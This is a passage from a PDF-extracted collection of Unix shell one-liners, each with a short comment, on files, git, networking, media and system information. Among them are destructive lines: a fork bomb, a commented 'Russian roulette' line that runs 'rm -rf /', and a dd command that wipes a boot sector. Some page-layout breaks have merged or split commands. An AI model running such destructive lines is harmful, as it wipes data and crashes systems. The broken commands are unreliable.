for i in *jpg; do jpeginfo -c $i | grep -E "WARNING|ERROR" | cut -d " " -f 1 | xargs -I '{}'
find /mnt/sourcerep -name {} -type f -print0 | xargs -0 -I '{}' cp -f {} ./ ; done
# Play a podcast via XPath and mpg123
curl -L -s `curl -s [http://podcast.com/show.rss]` | xmlstarlet sel -t -m "//enclosure[1]"
-v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -"
# use wget to check if a remote file exists

376 / 658

All UNIX COMMANDS


wget -O/dev/null -q URLtoCheck && echo exists || echo not exist
# Generate an XKCD #936 style 4 word password
jot 4 | awk '{ print "wc -l /usr/share/dict/words | awk '"'"'{ print \"echo $[ $RANDOM *
$RANDOM % \" $1 \"]\" }'"'"' | bash | awk '"'"'{ print \"sed -n \" $1 \"p
/usr/share/dict/words\" }'"'"' | bash" }' | bash | tr -d '\n' | sed 's/$/\n/'
# un-unzip a file
unzip -l filename.zip |awk '{ if($4 != "Name" && $4 != "----") print $4}'|xargs -t rm -rf {}
# find usage
find /etc/ /pentest/ -type f -iname "*sql*" | grep map
# lsb_release -a
lsb_release -a

# OS X: clean up Windows and Classic Mac OS newlines from the text in the clipboard
pbpaste | tr '\r\n' '\n' | tr '\r' '\n' | pbcopy
# shows history of logins on the server
last -aiF | head
# Restore application on Openshift
rhc snapshot restore -a {appName} -f {/path/to/snapshot/appName.tar.gz}
# Simple server which listens on a port and prints out received data
nc -l -p portnumber
# Find files modified in the last N days; list sorted by time
find . -type f -mtime -14 -exec ls -ltd \{\} \; | less
# Join avi files
cat b1.avi b2.avi b3.avi b4.avi b5.avi b6.avi b7.avi > output.avi; mencoder -forceidx -oac
copy -ovc copy output.avi -o output_final.avi; rm output.avi
# Get full directory path of a script regardless of where it is run from
STARTING_DIR=$(cd $(dirname $0) && pwd)
# Tar all files in a folder including hidden dot files
tar -zcvf file.tgz ./
# Increment next number in vim
CTRL + A
( in normal mode )
# Internet file transfer program for scripts that can be easily used to get files from a ftp
ncftpget -u Us3r -p Passw0rd ftp.backups.com . 'site.com.tar.gz'
# Count open file handles for a specific user ID
for x in `ps -u 500 u | grep java | awk '{ print $2 }'`;do ls /proc/$x/fd|wc -l;done
# calculate how many different lines between two files
grep -Fvxf $(file1) $(file2) | wc -l
# duckduckgo search to w3m browser
ddg(){ search=""; bang=""; for term in $@; do if [[ "$term" =~ -([A-Za-z0-9._%+-]*) ]]; then
bang="\!${BASH_REMATCH[1]}" ; else search="$search%20$term" ; fi ; done ; w3m
"https://www.duckduckgo.com/?q=$bang$search" ;}

377 / 658

All UNIX COMMANDS


# copying data with cpio
find ./source -depth -print | cpio -cvo> /destination/source_data.cpio; cd /destination;
cpio -icvmdI ./source_data.cpio; rm -rf ./source_data.cpio
# Calculating series with awk: add numbers from 1 to 100
awk 'BEGIN {for(i=1;i<=100;i++)sum+=i}; END {print sum}' /dev/null
# Finds the track no of songs, to be played
mpc playlist | grep -in bar
# replace all spaces with new lines
tr ' ' '\n' < <filename> > <output>
# Open multiple files from STDIN with VIM
vim -p $(complicated command to list the files you want)
# get WAN / external IP
curl tnx.nl/ip
# Kill Session
kill -9 `ps -u <user> -o "pid="`
# Delete Redis keys by mask
redis-cli KEYS "user*" | xargs redis-cli DEL
# Use AWS CLI and JQ to get a list of instances sorted by launch time
aws ec2 describe-instances | jq '.["Reservations"]|.[]|.Instances|.[]|.LaunchTime + " " +
.InstanceId' | sort -n
# Lists unambigously names of all xml elements used in files in current directory
grep -Eho '<[a-ZA-Z_][a-zA-Z0-9_-:]*' * | sort -u | cut -c2# netstat with group by (ip adress)
netstat -nt | awk -F":" '{print $2}' | sort | uniq -c
# Remove password from PDF
for F in *.pdf ; do qpdf --password=your_password --decrypt "$F" "$(basename $F .pdf)nopw.pdf" ; done

# Find out the installation time of a linux system (when installed in a ext2/3/4 file
system)
tune2fs -l $(df -P / | awk 'NR==2 {print $1}') | sed -n 's/^.*created: *//p'
# Escape literal string for inclusion in an egrep regex
egrep_escape() { echo "$1" |sed -re 's/([\\.*+?(|)^$[])/\\\1/g' -e 's/\{/[{]/g';

# Show git branches by date - useful for showing active branches


brd = "! f() { for k in $(git branch $@ | sed 's/^..//; s/ .*//'); do echo "$(git log -1
--pretty='%Cgreen%ci %Cblue(%cr)%Creset ' $k) $k" ; done | sort -r; }; f"
# Numeric zero padding file rename
for i in $(seq -w 0 100) ; do mv prefix$(( 10#$i )).jpg prefix${i}.jpg ; done
# Number of commits per day in a git repository
git log | grep Date | awk '{print " : "$4" "$3" "$6}' | uniq -c
# Start screen, attach here an now to sessionname , be quiet
screen -R -D -S sessionname -q

378 / 658

All UNIX COMMANDS


# CPU Display model type and MPN
ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r | strings -6
# return external ip
curl ipinfo.io
# Sysadmin day date of any given year
YEAR=2015; ncal 7 $YEAR | sed -n 's/^Fr.* \([^ ]\+\) *$/Jul \1/p'
# Remind yourself every 15 minutes (repeated reminders)
watch -n 900 "notify-send -t 10000 'Look away. Rest your eyes'"
# find all file larger than 500M
find / -type f -size +548576 -printf "%s:%h%f\n"
# Print all lines from a file that has the same N th and M th column
awk '$3==$4' /etc/passwd
# move linenumbers of grep output to end of line
grep -n log4j MainPm.java | sed -e 's/^\([^:]*\):\(.*\)/\2 \1/'
# Makes mplayer show file played through libnotify, 140 characters
r="readlink /proc/`pgrep -o mplayer`/fd/3";while [ -e "`$r`" ];do if [ "$f" = "`$r`" ];then
sleep 1;else f="`$r`";notify-send " $f";fi;done
# List the size (in human readable form) of all sub folders from the current location
du -hd1 |sort -h
# Undo mkdir -p new/directory/path
rmdir -p new/directory/path
# Fork bomb (don't actually execute)
:(){ :|:& };:
# Generate SHA1 hash for each file in a list
find . -regex ".*\(avi\|mp4\|wmv\)$" -print0 | xargs -0 sha1sum
# Sysadmin day date of any given year
YEAR=2015; date -d${YEAR}0801-$(date -d${YEAR}0801+2days +%u)days +%b\ %e
# See which files differ in a diff
diff dir1 dir2 | diffstat
# Remove the boot loader from a usb stick
dd if=/dev/zero of=/dev/sdb bs=446 count=1
# Makes a project directory, unless it exists; changes into the dir, and creates an empty
git repository, all in one command
gitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" &&
git init; fi }
# Zenity percent progressbar for scripts accepting parameters
(for FILE in $@; do echo $[100*++x/$#]; command-for-each-parameter; done)|zenity --progress
--auto-close
# See loaded modules in apache(2)
apache2 -l
# replace dots in filenames with dashes, using sed

379 / 658

All UNIX COMMANDS


for f in *; do fn=`echo $f | sed 's/\(.*\)\.\([^.]*\)$/\1\n\2/;s/\./-/g;s/\n/./g'`; mv $f
$fn; done

# Adjust brightness [software way]


xrandr --output LVDS1 --brightness 0.4
# Recursively change permissions on directories, leave files alone.
find /var/www/ -type f -print0 | xargs -0 chmod 644
# Russian rullette: Warning! Don't run, if not sure what are you doing
# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Alive"
# more than 4 repeated characters to a single character
sed -ru 's/(.)\1{4,}/\1/g'
# Sysadmin day date of any given year
YEAR=2015; echo Jul $(ncal 7 $YEAR | awk '/^Fr/{print $NF}')
# Shows the largest files in your archives
tar -tvjf backup.tar.bz2 | sort -nrk 3 | head
# Safely store your gpg key passphrase.
pwsafe -qa "gpg keys"."$(finger `whoami` | grep Name | awk '{ print $4" "$5 }')"
# Test if the given argument is a valid ip address.
perl -e '$p=qr!(?:0|1\d{0,2}|2(?:[0-4]\d?|5[0-5]?|[6-9])?|[3-9]\d?)!;print((shift=~m/^$p\.
$p\.$p\.$p$/)?1:0);' 123.123.123.123
# Receiving alerts about commands who exit with failure
export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )'
# floating point bash calculator w/o precision
b(){ echo "scale=${2:-2}; $1" | bc -l; }
# Show thermal info
cat /proc/acpi/thermal_zone/*/temperature
# hexadecimal dump of a file as it is on disk with hexadecimal offsets
od --format=x1 --address-radix=x mybinaryfile
# Ignore all Comment in Vim
hi! link Comment Ignore
# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {} +
# Copy file to multiple destinations
cat myfile | tee dest1 dest2 > /dev/null 2>&1
# Show all LISTENing and open server connections, with port number and process name/pid
netstat -tulpn
# Search Objective-C source file for tag listing and sort
grep '.tag =' <file> | awk '{print $3}' | awk 'sub(/[;]/, x)' | sort -n
# List all NPM global packages installed
npm ls -g|grep "^[&#9500;&#9492;]\(.\+\)\?[&#9516;&#9472;] "

380 / 658

All UNIX COMMANDS


# DNS cache snooping
for i in `cat names.txt`; do host -r $i [nameserver]; done
# show your private/local ip address
ifconfig | grep cast | cut -d':' -f2 | cut -d' ' -f1
# Generate random valid mac addresses
macchanger -A (nic)
# use ethereal to generate a pcap file of a VOIP call
tethereal -i eth0 -R 'iax2 && ip.addr==10.162.78.162' -w /tmp/iax2.pcap
# Removing sensitive data from the entire repo history.
git filter-branch --index-filter 'git rm --cached --ignore-unmatch FileToRemove' HEAD
# Install mysql-2.8.1 rubygem on Mac OS X 10.6 (Snow Leopard)
sudo env ARCHFLAGS="-arch x86_64" gem install mysql
# it allows recording of your terminal
shelr record

# Find biggest 10 files in current and subdirectories and sort by file size
find . -type f -exec du -sh {} + | sort -hr | head
# find . -name "*" -print | xargs grep -s pattern
find . -name "*" -print | xargs grep -s pattern
# grep all pdf files in a folder
for i in *.pdf; do echo --------$i-------; echo; pdftotext $i - | grep -i Yourpattern; done
# See the members of a group
getent group <group>
# Get external IP address (supports IPv4 and IPv6)
curl ip.telize.com
# Replace php short open tags
find . -name '*.phtml' | xargs perl -pi -e 's/(?!(<\?(php|xml|=)))<\?/<\?php/g;'
# find out about a process
cat /proc/<PID>/environ
# Remove all directories less than 1 MB in size in or below current directory
find . -type d -execdir du -sh '{}' ';' | grep -E "[0-9]+K" | sed 's/^[0-9\.]\+K[\t ]\+//' |
tr "\n" "\0" | xargs -0 rm -rf
# Remove blank lines from a file
sed -i.bak '/^[[:space:]]*$/d' file_name
# stdin speaker via espeak
awk '{print}' | espeak -v pt -stdin
# show how much diskspace all images in a given directory need
find /home/bubo/ -type f \( -iname \*.jpg -print0 , -iname \*.png
-print0 \) | du -cm --files0-from - | tail -1
# Create a virtual disk (CD/DVD) in VirtualBox
VBoxManage openmedium dvd "/path/name.iso"

381 / 658

-print0 , -iname \*gif

All UNIX COMMANDS


# get tor bridges
lynx -dump 'https://bridges.torproject.org' | sed '/^bridge [0-9\.][0-9\.]*:[0-9][0-9]*/!d'
# Check if your domain name is suspectable to axfr attacks.
dig @somenameserver.net somedomainname.net axfr
# Find the package a command belongs to on debian-based distros
function whichpkg { dpkg -S $1 | egrep -w $(which $1)$; }
# find specified directory and delete it recursively including directories with spaces
find . -name "directory_name" -type d -print0 | xargs -0 -i rm -rf {}
# Speaks latest tweet by Obama (os x)
curl "http://api.twitter.com/1/statuses/user_timeline.xml?count=1&screen_name=barackobama" |
egrep -w "<text>(.*)</text>" | sed -E "s/<\/?text>//g" | say
# Creating a feature branch
git checkout -b myfeature develop
# Recursively set the files to ignore in all folders for svn
for folder in $( find $( pwd ) -maxdepth 1 -type d | grep -v .svn ); do svn propset
svn:ignore -F ignorelist ${folder}; done
# find . -type f -exec grep -ils stringtofind {} +
find . -type f -exec grep -ils stringtofind {} +
# Shows CPU usage for each process running in MikroTik RouterOS
tool profile
# amixer toogle state (mute / unmute)
(amixer get Master | grep off > /dev/null && amixer -q set Master unmute) || amixer -q set
Master mute
# find files in $PATH that were not installed through dpkg
echo -e "${PATH//://\n}" >/tmp/allpath; grep -Fh -f /tmp/allpath /var/lib/dpkg/info/*.list|
grep -vxh -f /tmp/allpath >/tmp/installedinpath ; find ${PATH//:/ } |grep -Fxv -f
/tmp/installedinpath
# floating point shell calculator
calc() { awk 'BEGIN { OFMT="%f"; print '"$*"'; exit}'; }
# irssi log histogram
awk '/^--- Day changed (.*)/ {st=""; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st;
date=$7"-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""; for (i=0;i<ar[date];i++)
{st=st"*"}; print date" "st}' #engineyard.log

# Download all PDFs from an authenificated website


wget -r -np -nd -A.pdf --user *** --password *** http://www.domain.tld/courses/***/download/
# A command's package details
function summpkg { dpkg -s $(dpkg -S $1 | egrep -w $(which $1)$ | awk -F: '{print $1}') ; }
# Unmount all mounted SAMBA/Windows shares
mount|grep -e '//'|cut -d ' ' -f3| xargs -I {} umount {}
# Incorporating a finished feature on develop
git checkout develop; git merge --no-ff myfeature

382 / 658

All UNIX COMMANDS


# find . \( -name \*.cgi -o -name \*.txt -o -name \*.htm -o -name \*.html -o -name
\*.shtml \) -print | xargs grep -s pattern
find . \( -name \*.cgi -o -name \*.txt -o -name \*.htm -o -name \*.html -o -name \*.shtml \)
-print | xargs grep -s pattern
# One liner to show a notification on Desktop in case the load exceeds 1.
load=`uptime|awk -F',' '{print $3}'|awk '{print $3}'`; if [[ $(echo "if ($load > 1.0) 1 else
0" | bc) -eq 1 ]]; then notify-send "Load $load";fi
# Check if a file is text
grep -qIm1 . $file
# Find ur local network cidr Notation
ip addr show |grep -w inet | grep -v 127.0.0.1 | awk '{ print $2}'| cut -d "/" -f 2
# Add a user to a group
gpasswd -a USER GROUP
# Open (in vim) all modified files in a git repository
git status --porcelain | sed -ne 's/^ M //p' | tr '\n' '\0' | tr -d '"' | xargs -0 vim
# A random password generator
tr -dc '\x15-\x7e' < /dev/urandom| head -c 16 | paste
# grep selectively
find /path -name \*.php -user nobody -exec grep -nH whatever {} \;
# List all users
cut -d: -f1 /etc/passwd | sort
# List installed rpm named and arquitecture.
rpm -qa --queryformat "%{NAME} %{ARCH}\n"
# Play music from pure data
sudo cat /usr/share/icons/*/*/* > /dev/dsp
# List files and sizes
find / -type f -exec wc -c {} \; | sort -nr | head -100
# Open your application to a specific size and location
command -geometry 120x30+1280+0
# upload a file via ftp
curl -u user:passwd -T /home/dir/local_file_to_upload ftp://your_host.com/subdir/
# Using numsum to sum a column of numbers.
echo $(( $( cat count.txt | tr "\n" "+" | xargs -I{} echo {} 0

) ))

# Create a log file of Nvidia graphics card temperatures using nvidia-smi


logfile=/var/log/gputemp.log; timestamp=$( date +%T );temps=$(nvidia-smi -lsa | grep
Temperature | awk -F: ' { print $2 } '| cut -c2-4 | tr "\n" " ");echo "${timestamp} $
{temps}" >> ${logfile}
# encode a text to url_encoded format
perl -MURI::Escape -e 'print uri_escape("String encoded to a url");'
# Convert pkcs12 Certificate to ASCII for use in PHP
openssl pkcs12 -info -nodes -in /path/to/encryptedp12 > /path/to/asciip12

383 / 658

All UNIX COMMANDS


# Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} +
# find pictures and renames them appending the containing folder name
find <folder> -type f -name '*.jpg' -exec bash -c 'ext="${0##*.}";path="$(dirname
"$0")";name="$(basename "$0"|sed "s/.jpg//")";folder="$(dirname "$0"|tr / \\n |tail
-1)";new="${path}/${name}_${folder}.${ext}"; mv "$0" "${new}"' {} \;
# A file's rpm-package details
summpkg() { rpm -qfi "$@"; }

# Check if the files in current directory has the RPATH variable defined
for i in *; do file $i | grep -q ELF || continue; readelf -d $i | grep -q RPATH || echo $i;
done
# Launch an interactive shell with special aliases and functions.
bash --rcfile /a/special/bashrc
# Find duplicate UID in /etc/passwd
awk -F: '{print $3}' /etc/passwd | sort |uniq -d
# Regex to wrap lines to 75 characters.
s/(?=.{75,})(?:(.{0,75})(?:\r\n?|\n\r?)|(.{0,75}))[ ]/\1\2\n /g
# Search for java explicit incrementation
egrep "([_a-zA-Z][_a-zA-Z0-9]*) *= *\1 *[*/+-] *[0-9]+ *;"
# Incorporating a finished feature on develop : Deleted branch myfeature
git branch -d myfeature
# Remove / delete file with ? or special characters in filename
ls -il; find * \( -type d -prune \) -o -inum <NUM> -exec rm -i {} \;
# show help text only in Vim
:h `subject` | only
# ls -altr | grep ^d
ls -altr | grep ^d
# Set audio card 0 master volumn to maximum
amixer -c 0 set Master 100%
# SCP file from remote location to local directory
scp user@hostname:/remotedir/file.name /localdir
# Generate random password on Mac OS X
cat /dev/urandom | env LC_CTYPE=C tr -dc a-zA-Z0-9 | head -c 16; echo
# git log with color and path
alias gitlog='git log -10 --graph --date-order -C -M --pretty=format:"%C(yellow)%h%C(reset)
- %C(bold green)%ad%C(reset) - %C(dim yellow)%an%C(reset) %C(bold red)>%C(reset) %C(white)%s
%C(reset) %C(bold red)%d%C(reset) " --abbrev-commit --date=short'
# Switch on eeepc camera
sudo echo 1 > /proc/acpi/asus/camera
# Find out if MySQL is up and listening on Linux
netstat -tap | grep mysql

384 / 658

All UNIX COMMANDS


# Sorting by rows
infile=$1 for i in $(cat $infile) do
"s/,$//"
echo done

echo $i | tr "," "\n" | sort -n | tr "\n" "," | sed

# Command to display how much resource is taken by cpu and which core is taking
pidstat -C "ffmpeg" -u
# Match a URL
echo "(Something like http://foo.com/blah_blah)" | grep -oP "\b(([\w-]+://?|www[.])[^\s()<>]
+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))"
# List last opened tabs in firefox browser
grep -Eo '"entries":\[{"url":"[^"]*"' "$HOME/.mozilla/firefox/*.default/sessionstore.js" |
sed 's/^.*:"//; s/"$//'
# let the cow suggest some commit messages for you
while true; do curl -s http://whatthecommit.com | perl -p0e '($_)=m{<p>(.+?)</p>}s' |
cowsay; sleep 2; done
# Sets performance CPU governer of all cores of a 4-core CPU.
for i in {0..3}; do cpufreq-set -c $i -g performance; done
# Find the package a command belongs to on rpm-based distros
whichpkg() { rpm -qf "$@"; }
# Startup Nessus and initialize plugins on backtrack5
sudo /opt/nessus/sbin/nessusd
# Regex snippet to do multi-character [^x]*
Opening_tag((?:(?!Unwanted_tag).)*)Closing_tag
# Sort by size all hardlinked files in the current directory (and subdirectories)
for a in $(find . -xdev -type f -printf '%i\n'|sort|uniq -d);do find . -xdev -inum $a
-printf '%s %i %m %n %U %G %AD %Ar %p\n';done|sort -n|awk '{if(x!=$2){print
"---"};x=$2;print $0}'

# Previous / next command in history


<ctrl+p> for previous command; <ctrl+n> for next command
# Delete Empty Files
find . -size 0c -print -exec rm -f {} \;
# Add new software to Gnome search menu thing
gnome-desktop-item-edit /usr/share/applications/ --create-new
# Convert a batch of images to a Video
mencoder "mf://frame_*.bmp" -mf w=720:h=480:fps=30:type=bmp -ovc lavc -lavcopts vcodec=mpeg4
-o number_video.mp4
# Spelling Suggestion
curl -s "http://search.yahooapis.com/WebSearchService/V1/spellingSuggestion?
appid=YahooDemo&query=mozmbque"|sed -n -e 's/.*<Result>\(.*\)<\/Result>.*/\1/p'
# 'micro' ps aux (by mem/cpu)
ps -o user,%cpu,%mem,command
# Extract a .gz file with privilege

385 / 658

All UNIX COMMANDS


sudo sh -c 'gunzip -c source.gz > destination'
# Play local mp3 file on remote machine's speakers
cat myfile.mp3 | ssh user@remotemachine "mplayer -cache 8912 -"
# Counting the source code's line numbers C/C++ Java
find /usr/include/ -name '*.[c|h]pp' -o -name '*.[ch]' -print0 | xargs -0

wc -l | tail -1

# Global search and replace in vi


:g/SEARCH/s//REPLACEMENT/g
# Copy the most recent wav file from /media/ to the current folder
cp $(find /media/ -type f -name "*.wav" -printf "%T@ %h/%f\n" | sort | tail -1 | awk
'{ print $2 }') .
# Make changes in .bashrc immediately available
. ~/.bashrc
# Matching Strings
grep -l <string-to-match> * | xargs grep -c <string-not-to-match> | grep '\:0'
# Open a file using vim in read only (like less)
view /file/name
# Create a database with user and pass without hassle.
function createdb () { mysqladmin -u root -p create $1 && mysql -u root -p -e "GRANT ALL ON
$1.* TO '$2'@'localhost' IDENTIFIED BY '$3';" ; }
# TCP server on one socket
while true; do cat "file"; done | nc -v -l 1337
# Display an updating clock in sh variants
while true; do date; sleep 1; done
# Search through files, ignoring .svn
ack -ai 'searchterm'
# remove script from infected html files
grep -ZlRr -e BAD_SCRIPT_LINE * |xargs -0 sed -i 's/BAD_SCRIPT_LINE//g'
# Search and install true type fonts under user home directory
find ~ -name "*.ttf" -exec cp {} /usr/share/fonts/truetype \; & fc-cache -f
# search google from command line
function google() { xdg-open "http://www.google.com/#sclient=psy&q=$1"; }
# Check if your webserver supports gzip compression with curl
if curl -s -I -H "Accept-Encoding: gzip,deflate" http://example.com/ | grep 'ContentEncoding: gzip' >/dev/null 2>&1 ; then echo Yes; else echo No;fi
# Display diffed files sidebyside, with minimal differences, using the full width of the
terminal.
diff -dbByw $COLUMNS FILE1 FILE2
# Partition a new disk as all one partition tagged as LINUX_NATIVE
echo "0,,L" | sfdisk /dev/sdX
# Synchronize directory copy
rsync -avz ~/src ~/des/

386 / 658

All UNIX COMMANDS


# Check Zone File
named-checkzone {zonename} {filename}
# csv file of ping every minutes
while true; do (date | tr "\n" ";") && ping -q -c 1 www.google.com|tail -1|cut -d/ -f5
;sleep 1; done >> uptime.csv
# tar xz maximal compression
XZ_OPT=-9 tar cJf tarfile.tar.xz directory
# list the top 15 folders by decreasing size in MB
du -mx [directory] | grep -P '^\d{4}' | sort -rn
# Kill process you don't know the PID of, when pidof and pgrep are not available.
killall -9 unique
# Flush DNS cache on OS X 10.5 Leopard
dscacheutil -flushcache
# Watch number of lines being processed on a clear screen
cat /dev/urandom|awk 'BEGIN{"tput cuu1" | getline CursorUp; "tput clear" | getline Clear;
printf Clear}{num+=1;printf CursorUp; print num}'
# get the IP connected to the server (usefull to detect IP that should be blocked)
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Get parent directory path
dirname `pwd`
# Converts Character Set of Files in a Folder
find . -iregex ".+\.\(c\|cpp\|h\)" | xargs -I{} perl -e "system(\"iconv -f SHIFT_JIS -t UTF8 {} > temp; mv temp {} \");" ;
# Back up only databases matching PATTERN
mysqldump -eBv `echo "show databases like 'MYSQL_PATTERN'"|mysql -N`> OUTPUTFILE
# Using Grep & Xargs to clean folders
ls | grep -Ze ".*rar" | xargs -d '\n' -I {} mv {} backup-folder
# Total sum of directories
du -sh
# Backup /etc directory
sudo tar -zcvf $(hostname)-etc-back-`date +%d`-`date +%m`-`date +%y`.tar.gz /etc && sudo
chown $USER:$USER $(hostname)-etc-back*
# External IP (raw data)
curl ifconfig.me
# Generate padded numbers 001 002 ... 100
echo 00{1..9} 0{10..99} 100
# convert string to array
s="124890";for i in $(seq 0 1 $((${#s}-1))); do arr[$i]=${s:$i:1}; done
# telling you from where your commit come from

387 / 658

All UNIX COMMANDS


function where(){ COUNT=0; while [ `where_arg $1~$COUNT | wc -w` == 0 ]; do let
COUNT=COUNT+1; done; echo "$1 is ahead of "; where_arg $1~$COUNT; echo "by $COUNT
commits";};function where_arg(){ git log $@ --decorate -1 | head -n1 | cut -d ' ' -f3- ;}
# Check for orphaned python files
find /usr/lib/python* -regextype posix-extended ! \( -type f -regex '.*.(pyc|pyo)' -prune -o
-print \) | qfile -o -f # speak a chat log file while it's running
tail -f LOGFILE | perl -ne '`say "$_"`;'
# find php files even without extension
grep -Ilr "<?php" .
# Convert number of bytes to human readable filesize
human_filesize() { awk -v sum="$1" ' BEGIN {hum[1024^3]="Gb"; hum[1024^2]="Mb";
hum[1024]="Kb"; for (x=1024^3; x>=1024; x/=1024) { if (sum>=x) { printf "%.2f
%s\n",sum/x,hum[x]; break; } } if (sum<1024) print "1kb"; } '}
# Remove spaces from filenames - through a whole directory tree.
find . -depth -name '* *' -execdir bash \-c 'a="{}";mv -f "$a" ${a// /_}' \;
# backup your file with tar and exclude the file or directory which you don't want
tar zcvf /path/to/your-`date +%Y-%m-%d`.tar.bz2 ./your/directory --exclude
./you/dont/want/to/include
# Extract URLs from all anchors inside an HTML document with sed and grep
cat index.html | grep -o '<a .*href=.*>' | sed -e 's/<a /\n<a /g' | sed -e 's/<a
.*href=['"'"'"]//' -e 's/["'"'"'].*$//' -e '/^$/ d'

# Display CPU usage in percentage


NUMCPUS=`grep ^proc /proc/cpuinfo | wc -l`; FIRST=`cat /proc/stat | awk '/^cpu / {print
$5}'`; sleep 1; SECOND=`cat /proc/stat | awk '/^cpu / {print $5}'`; USED=`echo 2 k 100
$SECOND $FIRST - $NUMCPUS / - p | dc`; echo ${USED}% CPU Usage
# Sum of directories
du -sh *
# Count total processes for specific program and user
ps -u user_name_here | grep process_name_here | wc -l
# Send murmurd log lines to syslog
nohup tail /var/log/murmur.log | perl -ne '/^<.>[0-9:. -]{24}(\d+ => )?(.*)/; $pid=`pgrep
-u murmur murmurd | head`; chomp $pid; `logger -p info -t "murmurd[$pid]" \\"$2\\"`;' &
# Halt all running vagrants (virtualboxes)
vboxmanage list runningvms | cut -d \" -f 2 | xargs -I % vboxmanage controlvm % poweroff
# Get the /dev/disk/by-id fragment for a physical drive
/dev/disk/by-id/ata!(*part*)
# Download all files from a Gist without Git
curl -L https://gist.github.com/westonruter/ea038141e46e017d280b/download | tar -xvz
--strip-components=1
# look for a header reference in a shared library
strings libc-2.2.5.so | grep stat.h

388 / 658

All UNIX COMMANDS


# check rpm pkg content w/o installation
rpm -qlp <package.rpm>
# Copy via tar pipe while preserving file permissions (run this command as root!)
tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf # Hide files and folders on GNOME Desktop.
gconftool-2 --set /apps/nautilus/preferences/show_desktop --type bool 0
# list all file-types (case-insensitive extensions) including subdirectories
find /path/to/dir -type f |sed 's/^.*\.//' |sort -f |uniq -i
# join every five lines
seq 20 | awk 'ORS=NR%5?FS:RS'
# Style a block of code in a blog that accepts HTML.
overflow:auto;padding:5px;border-style:double;font-weight:bold;color:#00ff00;backgroundcolor:0;"><pre style="white-space:pre-wrap;white-space:-moz-pre-wrap !important;whitespace:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word;_white-space:pre;
# convert javascript DICT to JSON
js -e 'JSON.stringify({hello:"world"})'
# Convert ISO8601 dates to milliseconds since epoch
sed "s|\(2[0-9]\{3\}-[01][0-9]-[0-3][0-9]T[01][0-9]:[0-5][0-9]:[0-5][0-9].[0-9]\{3\}Z\)|$
(date -d \1 +%s)000|g"
# Flush DNS
sudo /etc/init.d/dns-clean
# Git log (commits titles) of today
git log --after="yesterday" --pretty=format:%s |uniq
# Find and replace text within all files within a directory
find . | xargs perl -p -i.bak -e 's/oldString/newString/;'
# resize all the images returned by ls command and append "new_" to the resized images
for file in `ls *.png`;do convert $file -resize 65% new_$file; done
# What addresses are your applications talking to?
watch "lsof -i -P |grep ESTABLISHED |awk '{printf \"%15.15s \\t%s\\n\", \$1, \$9}'"
# Clears Firefox` cache without clicking around
rm_cache() { rm -f $HOME/.mozilla/firefox/<profile>/Cache/* }; alias rmcache='rm_cache'
# modify (mozldap) with proxy authentication and no other controls
ldapmodify -Y "dn:uid=rob,dc=example.com" -g -R -J 2.16.840.1.113730.3.4.16 ...
# Extract names and email addresses from LDIF files
grep -E '^(cn|mail):' file.ldif | sed -e 's/^[a-z]*: //'
# clear stale favicons in firefox
sqlite3 .mozilla/firefox/private/places.sqlite "update moz_places set favicon_id=null where
favicon_id = (select p.favicon_id from moz_bookmarks b join moz_places p on b.fk = p.id
where b.title = 'Broken');"

# group every five lines


awk '{x+=$2; y+=$3} NR%5==0{print x/5,y/5; x=y=0}' file.txt

389 / 658

All UNIX COMMANDS


# mysql: Convert MyISAM tables to InnoDB via mysqldump
mysqldump | sed -e 's/^) ENGINE=MyISAM/) ENGINE=InnoDB/'
# Go to the Nth line of file
sed -n '15p' $file
# Validate an email address
perl -e "print 'yes' if `exim -bt $s_email_here | grep -c malformed`;"
# Make changes in .bashrc immediately available
. ~/.bashrc
# get svn log by the user
svn log -l1000 SVN_URL | sed -n '/USERNAME/,/-----$/ p'
# Batch rename and number files
find . -name '*.jpg' | awk 'BEGIN{ a=0 }{ printf "mv %s name%01d.jpg\n", $0, a++ }' | bash
# list all world-writeable Linux files
print -rl /**/*(.f:o+w:)
# Use awk's FIELDWIDTHS function to manipulate a string.
echo "rootgot" | awk 'BEGIN{FIELDWIDTHS="4 3"}{print $2$1}'
# Crop video starting at 00:05:00 with duration of 20 mins
ffmpeg -acodec copy -vcodec copy -ss 00:05:00 -t 00:20:00 -i file.mp4 file_cropped.mp4
# cpuinfo
cat /proc/cpuinfo
# List shared libraries recognized by the system
ldconfig -p | grep <somenewlib.so>
# convert string to array
s=124890; array=($(echo $s | sed 's/./& /g')); echo ${array[@]}; echo ${!array[@]}
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep -o "inet [^ ]*" | cut -d: -f2
# Convert movie to psp format
ffmpeg -i "inputFile.avi" -f psp -r 29.97 -b 512k -ar 24000 -ab 64k -s 368x208 M4V00002.MP4
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}' | egrep "^https{0,1}"
# MySQL: Slice out a specific database (assumes existence of the USE statement) from
mysqldump output
sed -n "/^USE \`employees\`/,/^USE \`/p"
# make a samba shared folder writable, when doing an svn commit on OSX
chflags -R nouchg ./
# Enter a command but keep it out of the history
<space> secret -p password
# Listing all your bundles Entities files to issue a doctrine:generate:entities
find ./src -type d -name "Entity" | xargs ls -A | cut -d . -f1 | sed 's_^_app/console
doctrine:generate:entities YourOwnBundleName:_'

390 / 658

All UNIX COMMANDS


# cygwin startx
startx -- -fullscreen -noresize -unixkill
# Capture desktop at resolution 1600x900 and camera video files also captures mic audio to
file
avconv -y -f x11grab -r 12 -s 1600x900 -i :0.0 -f video4linux2 -i /dev/video0 -f alsa -i
pulse -map 0:0 -vcodec rawvideo -pix_fmt yuv420p desktop.y4m -map 1:0 -vcodec rawvideo
-pix_fmt yuv420p camera.y4m -map 2:0 audio.mp3
# Add yourself to all groups on a system
